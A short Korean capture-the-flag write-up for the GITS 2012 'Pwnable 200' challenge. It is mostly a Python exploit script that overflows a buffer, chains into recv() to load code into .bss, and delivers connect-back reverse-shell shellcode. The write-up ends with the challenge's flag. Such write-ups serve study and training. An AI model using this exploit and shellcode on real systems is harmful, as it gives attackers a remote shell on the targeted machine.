GITS2012 [Pwnable 200]

GITS 2012 Pwnable 200Pts

1
2
3
4
5
6
7
8
9
10
11

Full RELRO도 아니고 Canary도 없고 NX도 안 걸려 있고 PIE도 아님. 매우매우 취약한 프로그램이고

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

취약점도 한눈에 보임

from socket import *
from struct import *
 
def setSock(ip, port):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip, port))
    return s
 
def exploit(s, shellcode):
    recv     = 0x0804864c
    bss      = 0x0804b080 + 0x70
 
    s.recv(2048)
 
    s.send("HansBrix!!!\n")
 
    s.recv(1024)
 
    payload  = "\x90" * 524
    payload += pack("<L", recv)
    payload += pack("<L", bss)
    payload += pack("<L", 0x05)
    payload += pack("<L", bss)
    payload += pack("<L", len(shellcode))
    payload += pack("<L", 0x00)
 
    s.send(payload + "\n")
    s.send(shellcode)
 
    print "[*] nc 127.0.0.1 55555"
 
    s.recv(1024)
 
if __name__ == "__main__":
    SHELLCODE = (
    "\x68"
    "\x7F\x01\x01\x01"  # IP ADDRESS
    "\x5E\x66\x68"
    "\xD9\x03"          # PORT NUMBER
    "\x5F\x6A\x66\x58\x99\x6A\x01\x5B\x52\x53\x6A\x02"
    "\x89\xE1\xCD\x80\x93\x59\xB0\x3F\xCD\x80\x49\x79"
    "\xF9\xB0\x66\x56\x66\x57\x66\x6A\x02\x89\xE1\x6A"
    "\x10\x51\x53\x89\xE1\xCD\x80\xB0\x0B\x52\x68\x2F"
    "\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53"
    "\xEB\xCE"
    )
 
    s = setSock("192.168.1.154", 2645)
 
    print "[+] Start"
    exploit(s, SHELLCODE)
    print "[-] End"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

1

Key: !All_Hail_Fearress_Reader!

cs